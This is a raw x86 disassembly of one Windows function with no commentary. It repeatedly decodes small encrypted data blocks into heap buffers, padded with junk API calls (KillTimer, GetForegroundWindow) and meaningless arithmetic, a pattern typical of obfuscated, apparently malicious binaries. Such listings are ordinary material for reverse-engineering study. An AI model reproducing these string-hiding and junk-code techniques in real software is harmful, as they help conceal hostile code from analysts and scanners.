mov ecx, dword [0x405178]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov ecx, dword [0x405570]
mov eax, edx
shr eax, 0x1f
add edx, eax
push ecx
mov dword [0x405178], edx
mov edx, dword [0x40554c]
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x40b48c]
push 0xe
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
mov edx, dword [0x405600]
add esp, 0xc
push 0x6783
push 0x4077
push 0x33ec
push edx
call ebp
mov eax, dword [0x405490]
push 0x5427
push 0x6d24
push 0x4715
push eax
mov dword [0x405160], 0x4c7d
call ebp
mov ecx, dword [0x4053d4]
push 0x4533
push 0x3e8e
push 0x1965
push ecx
call ebp
push 1
push 0x1eac
push 0x968
call esi
push 8
lea edx, [esp + 0x14]
push 0x405948
push edx
call fcn.00403250
add esp, 0xc
push 0x13
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x405934]
mov dword [0x40b484], eax
mov dword [eax], ecx
mov edx, dword [0x405938]
mov dword [eax + 4], edx
mov ecx, dword [0x40593c]
mov dword [eax + 8], ecx
mov edx, dword [0x405940]
mov dword [eax + 0xc], edx
mov cx, word [0x405944]
mov word [eax + 0x10], cx
mov edx, dword [0x405464]
push 0x4f8a
push 0x477c
push 0x55ad
push edx
call ebp
mov eax, dword [0x405440]
mov ecx, dword [0x405538]
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov edx, dword [0x40b484]
push 0x12
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x405108]
add esp, 0xc
add ecx, 0xffff9748
push 1
push 0x5322
push 0x5aa2
mov dword [0x405104], ecx
call esi
mov dword [0x4050a0], 0x5765
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x12
lea edx, [esp + 0x14]
push 0x405920
push edx
call fcn.00403250
add esp, 0xc
push 0x11
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x40590c]
mov dword [0x40b478], eax
mov dword [eax], ecx
mov edx, dword [0x405910]
mov dword [eax + 4], edx
mov ecx, dword [0x405914]
mov dword [eax + 8], ecx
mov edx, dword [0x405918]
mov dword [eax + 0xc], edx
mov eax, dword [0x405684]
push 0xdc1
push 0x2db1
push 0x71f0
push eax
call ebp
mov ecx, dword [0x405688]
push 0x64ce
push 0x7978
push 0x5c1a
push ecx
call ebp
mov edx, dword [0x40b478]
push 0x10
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x40550c]
add esp, 0xc
push 0x40be
push 0xa2f
push 0x1af4
push ecx
call ebp
mov edx, dword [0x405644]
push 0x27a1
push 0x19d8
push 0x22bd
push edx
mov dword [0x4051dc], 0x5c1
call ebp
push 1
push 0x5091
push 0x54a6
call esi
push 0xa
lea eax, [esp + 0x14]
push 0x405900
push eax
call fcn.00403250
add esp, 0xc
push 0x11
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x4058ec]
mov dword [0x40b470], eax
mov dword [eax], ecx
mov edx, dword [0x4058f0]
mov dword [eax + 4], edx
mov ecx, dword [0x4058f4]
mov dword [eax + 8], ecx
mov edx, dword [0x4058f8]
mov dword [eax + 0xc], edx
mov ecx, dword [0x4052c8]
mov eax, 0x27932b49
push 0x10
imul ecx
sar edx, 5
mov ecx, dword [0x40b470]
mov eax, edx
shr eax, 0x1f
add edx, eax
push ecx
mov dword [0x4052c8], edx
lea edx, [esp + 0x18]
push edx
call fcn.00403360
mov eax, dword [0x4055ec]
add esp, 0xc
push 0xa78
push 0xa02
push 0x7ebf
push eax
call ebp
mov ecx, dword [0x405538]
mov edx, dword [0x405610]
push ecx
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x405618]
push 0x71ee
push 0x459a
push 0x13cc
push eax
call ebp
mov ecx, dword [0x4056b0]
push 0xb72
push 0x57da
push 0x79c1
push ecx
call ebp
mov edx, dword [0x4054a8]
push 0x4702
push 0xf62
push 0x2eb1
push edx
call ebp
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 1
push 0x5e65
push 0x4e3b
call esi
push 0x13
lea eax, [esp + 0x14]
push 0x4058d8
push eax
call fcn.00403250
add esp, 0xc
push 0xd
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x4058c8]
mov dword [0x40b468], eax
mov dword [eax], ecx
mov edx, dword [0x4058cc]
mov dword [eax + 4], edx
mov ecx, dword [0x4058d0]
mov dword [eax + 8], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [0x4052e4], 0x34c3
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x40b468]
push 0xc
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x405070]
mov eax, 0x66666667
imul ecx
sar edx, 2
add esp, 0xc
mov ecx, edx
shr ecx, 0x1f
push 1
add edx, ecx
push 0x250b
push 0x2b00
mov dword [0x405070], edx
call esi
mov ecx, dword [0x405188]
mov eax, 0x88888889
imul ecx
add edx, ecx
mov ecx, dword [0x405550]
sar edx, 7
mov eax, edx
push ecx
shr eax, 0x1f
add edx, eax
mov dword [0x4050ac], 0x2b37
mov dword [0x405188], edx
mov edx, dword [0x4055a4]
push edx
mov dword [section..data], 0x2b3
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x405278]
mov ecx, 0x1cd9
cdq
idiv ecx
push 0xf
push 0x4058b8
mov dword [0x4050e0], edx
lea edx, [esp + 0x18]
push edx
call fcn.00403250
add esp, 0xc
push 0xe
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x4058a8]
mov dword [0x40b460], eax
mov dword [eax], ecx
mov edx, dword [0x4058ac]
mov dword [eax + 4], edx
mov ecx, dword [0x4058b0]
mov dword [eax + 8], ecx
mov dl, byte [0x4058b4]
mov byte [eax + 0xc], dl
call ebx
push 1
push 0x3fc5
push 0x62a7
call esi
mov eax, dword [0x405050]
mov ecx, dword [0x40b460]
push 0xd
lea edx, [esp + 0x14]
add eax, 0xffff8fc9
push ecx
push edx
mov dword [str.qo8], eax
call fcn.00403360
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
call ebx
mov eax, dword [0x4055a8]
mov ecx, dword [0x405480]
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
push 0x14
lea edx, [esp + 0x14]
push 0x405890
push edx
mov dword [0x40523c], 0x1047
call fcn.00403250
add esp, 0xc
push 0xf
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x405880]
mov dword [0x40b454], eax
mov dword [eax], ecx
mov edx, dword [0x405884]
mov dword [eax + 4], edx
mov ecx, dword [0x405888]
mov dword [eax + 8], ecx
mov dx, word [0x40588c]
push 1
push 0x31dd
push 0x4691
mov word [eax + 0xc], dx
call esi
mov eax, dword [0x40b454]
push 0xe
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
add esp, 0xc
call ebx
mov edx, dword [0x405680]
push 0xe4
push 0x1943
push 0x721d
push edx
call ebp
call ebx
mov eax, dword [0x405498]
mov ecx, dword [0x4055f0]
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
push 0xf
lea edx, [esp + 0x14]
push 0x405870
push edx
call fcn.00403250
add esp, 0xc
push 0xd
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x405860]
mov dword [0x40b480], eax
mov dword [eax], ecx
mov edx, dword [0x405864]
mov dword [eax + 4], edx
mov ecx, dword [0x405868]
mov dword [eax + 8], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
call ebx
call ebx
mov edx, dword [0x40b480]
push 0xc
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x4056c4]
mov edx, dword [0x405500]
add esp, 0xc
push ecx
push edx
call dword [sym.imp.USER32.dll_KillTimer]
push 1
push 0x1f9c
push 0x3cf4
call esi
push 1
push 0x13cc
push 0x4df9
call esi
mov eax, dword [0x405460]
push 0x6254
push 0x7fc
push 0x569e
push eax
mov dword [0x405034], 0x70b6
call ebp
mov ecx, dword [0x4054d8]
mov edx, dword [0x4054a8]
push ecx
push edx
call dword [sym.imp.USER32.dll_KillTimer]
push 9
lea eax, [esp + 0x14]
push 0x405854
push eax
call fcn.00403250
add esp, 0xc
push 0xd
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x405844]
mov dword [0x40b474], eax
mov dword [eax], ecx
mov edx, dword [0x405848]
mov dword [eax + 4], edx
mov ecx, dword [0x40584c]
mov dword [eax + 8], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x40b474]
push 0xc
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
add esp, 0xc
call ebx
mov ecx, dword [0x4056ac]
mov edx, dword [0x405400]
push ecx
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [0x405270]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
mov dword [0x405114], 0x1072
shr eax, 0x1f
add edx, eax
mov dword [0x405270], edx
call ebx
mov ecx, dword [0x405208]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
push 0x12
sar edx, 7
mov ecx, edx
push 0x405830
shr ecx, 0x1f
add edx, ecx
mov dword [0x405208], edx
lea edx, [esp + 0x18]
push edx
call fcn.00403250
add esp, 0xc
push 0xf
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x405820]
mov dword [0x40b46c], eax
mov dword [eax], ecx
mov edx, dword [0x405824]
mov dword [eax + 4], edx
mov ecx, dword [0x405828]
mov dword [eax + 8], ecx
mov dx, word [0x40582c]
push 1
push 0x66a8
push 0x4964
mov word [eax + 0xc], dx
call esi
mov eax, dword [0x40b46c]
push 0xe
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
add esp, 0xc
call ebx
push 1
push 0x6fca
push 0x4868
call esi
mov eax, dword [0x405260]
mov ecx, 0x6a93
cdq
idiv ecx
mov dword [0x405174], edx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0xe
lea edx, [esp + 0x14]
push 0x405810
push edx
call fcn.00403250
add esp, 0xc
push 0xa
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x40b464], eax
mov ecx, dword [0x405804]
push 0x4d41
mov dword [eax], ecx
mov edx, dword [0x405808]
mov dword [eax + 4], edx
mov cl, byte [0x40580c]
mov byte [eax + 8], cl
mov edx, dword [0x405068]
imul edx, edx, 0x4bad
mov ecx, dword [0x405064]
mov eax, 0x88888889
mov dword [0x40527c], edx
imul ecx
add edx, ecx
mov ecx, dword [0x40566c]
sar edx, 4
mov eax, edx
push 0x5008
shr eax, 0x1f
add edx, eax
push 0x1593
push ecx
mov dword [0x405064], edx
call ebp
mov edx, dword [0x40b464]
push 9
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 1
push 0x60fe
push 0x697d
mov dword [0x405324], 0x2ae7
mov dword [0x405144], 0x1e3
call esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x12
lea ecx, [esp + 0x14]
push 0x4057f0
push ecx
call fcn.00403250
add esp, 0xc
push 9
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [0x4057ec]
mov dword [0x40b45c], eax
mov dword [eax], edx
mov ecx, dword [0x40b45c]
mov eax, dword [0x4057f0]
push 2
mov dword [ecx + 4], eax
mov eax, dword [0x405038]
cdq
mov ecx, 0x21cf
mov dword [0x4050ec], 0x4878
idiv ecx
lea eax, [esp + 0x14]
mov dword [0x405128], edx
mov edx, dword [0x40b45c]
push edx
push eax
call fcn.00403360
mov eax, dword [0x4052d4]
add esp, 0xc
mov dword [0x4052f4], 0x7552
lea ecx, [eax*8]
push 0x72e4
sub ecx, eax
push 0x1b2d
push 0x37d1
lea edx, [eax + ecx*4]
lea eax, [eax + edx*8]
lea eax, [eax + eax*2]
shl eax, 5
mov dword [0x40529c], eax
mov ecx, dword [0x405438]
push ecx
call ebp
mov edx, dword [0x4055b4]
push 0x2da0
push 0x708
push 0x18fd
push edx
call ebp
mov eax, dword [0x405414]
mov ecx, dword [0x4053ec]
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
push 0x13
lea edx, [esp + 0x14]
push 0x4057d8
push edx
call fcn.00403250
add esp, 0xc
push 0x13
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x4057c4]
mov dword [0x40b450], eax
mov dword [eax], ecx
mov edx, dword [0x4057c8]
mov dword [eax + 4], edx
mov ecx, dword [0x4057cc]
mov dword [eax + 8], ecx
mov edx, dword [0x4057d0]
mov dword [eax + 0xc], edx
mov cx, word [0x4057d4]
mov word [eax + 0x10], cx
mov edx, dword [0x405444]
mov eax, dword [0x405578]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 1
push 0x61cf
push 0x67a0
mov dword [0x4051f4], 0x6f07
call esi
mov ecx, dword [0x40b450]
push 0x12
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
mov ecx, dword [0x405024]
mov eax, 0x66a92123
imul ecx
sar edx, 0xd
mov ecx, dword [0x4054d0]
mov eax, edx
shr eax, 0x1f
add edx, eax
add esp, 0xc
mov dword [section..data], edx
mov edx, dword [0x405554]
push ecx
push edx
call dword [sym.imp.USER32.dll_KillTimer]
push 1
push 0x3d69
push 0x58d3
call esi
call ebx
mov eax, dword [0x4052e4]
push 0x15
lea ecx, [esp + 0x14]
add eax, 0x79d0
push 0x4057ac
push ecx
mov dword [0x405294], eax
call fcn.00403250
add esp, 0xc
push 0xa
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [0x4057a0]
mov dword [0x40b44c], eax
mov dword [eax], edx
mov ecx, dword [0x4057a4]
mov dword [eax + 4], ecx
mov dl, byte [0x4057a8]
mov byte [eax + 8], dl
mov ecx, dword [0x405174]
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
mov ecx, dword [0x4054f8]
sar edx, 7
mov eax, edx
push ecx
shr eax, 0x1f
add edx, eax
mov dword [0x405174], edx
mov edx, dword [0x405488]
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x40b44c]
push 9
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
mov edx, dword [0x405624]
mov eax, dword [0x4054f4]
add esp, 0xc
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
call ebx
mov ecx, dword [0x405054]
mov eax, 0x51eb851f
imul ecx
sar edx, 3
mov ecx, edx
mov eax, 0x84210843
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x405180]
mov dword [0x405054], edx
imul ecx
add edx, ecx
push 0x13
sar edx, 7
mov eax, edx
lea ecx, [esp + 0x14]
shr eax, 0x1f
add edx, eax
push 0x40578c
push ecx
mov dword [0x405180], edx
call fcn.00403250
add esp, 0xc
push 4
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dx, word [0x405788]
mov dword [0x40b448], eax
mov word [eax], dx
mov cl, byte [0x40578a]
push 1
push 0x3ae3
push 0x2109
mov byte [eax + 2], cl
call esi
mov ecx, dword [0x405074]
mov eax, 0xbc294c51
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
mov ecx, dword [0x40b448]
push 3
shr eax, 0x1f
add edx, eax
push ecx
mov dword [0x4052c4], edx
lea edx, [esp + 0x18]
push edx
call fcn.00403360
add esp, 0xc
push 1
push 0x5eb3
push 0x2e58
call esi
mov eax, dword [0x4050f4]
mov dword [0x405240], 0x74da
imul eax, eax, 0x34ca
mov dword [0x405220], eax
call ebx
mov dword [0x4052e0], 0x2777
call ebx
push 1
push 0x1a32
push 0x5d8e
call esi
push 0xf
lea ecx, [esp + 0x14]
push 0x405778
push ecx
call fcn.00403250
add esp, 0xc
push 5
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [0x405770]
mov dword [0x40b444], eax
mov dword [eax], edx
mov ecx, dword [0x405244]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x405244], edx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x40b444]
push 4
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
mov eax, dword [0x405474]
mov ecx, dword [0x40558c]
add esp, 0xc
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x405344]
push 0xe
push 0x405760
lea edx, [eax + eax*2]
shl edx, 4
sub edx, eax
shl edx, 4
sub edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [0x40538c], edx
call fcn.00403250
add esp, 0xc
push 6
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x405758]
mov dword [0x40b440], eax
mov dword [eax], ecx
mov dl, byte [0x40575c]
push 0x6c06
mov byte [eax + 4], dl
mov eax, dword [0x4055d0]
push 0x5235
push 0x1f6b
push eax
call ebp
mov ecx, dword [0x40b440]
push 5
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
mov ecx, dword [0x405304]
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [0x405250]
add esp, 0xc
sar edx, 4
mov eax, edx
add ecx, 0xffffff56
shr eax, 0x1f
add edx, eax
mov dword [0x405200], 0x7ede
mov dword [0x405304], edx
mov dword [str._rq__r_e], ecx
call ebx
push 0x14
lea edx, [esp + 0x14]
push 0x405740
push edx
call fcn.00403250
add esp, 0xc
push 4
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov cx, word [0x40573c]
mov dword [0x40b458], eax
mov word [eax], cx
mov dl, byte [0x40573e]
push 1
push 0x3b2a
push 0x79fc
mov byte [eax + 2], dl
call esi
mov ecx, dword [0x405300]
mov eax, 0x214d0215
imul ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
add edx, eax
push 0x2e87
push 0x43b8
mov dword [0x405300], edx
call esi
mov ecx, dword [0x40b458]
push 3
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x4054b8]
push 0x791b
push 0x6d09
push 0x215d
push eax
call ebp
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
add esp, 0x104
ret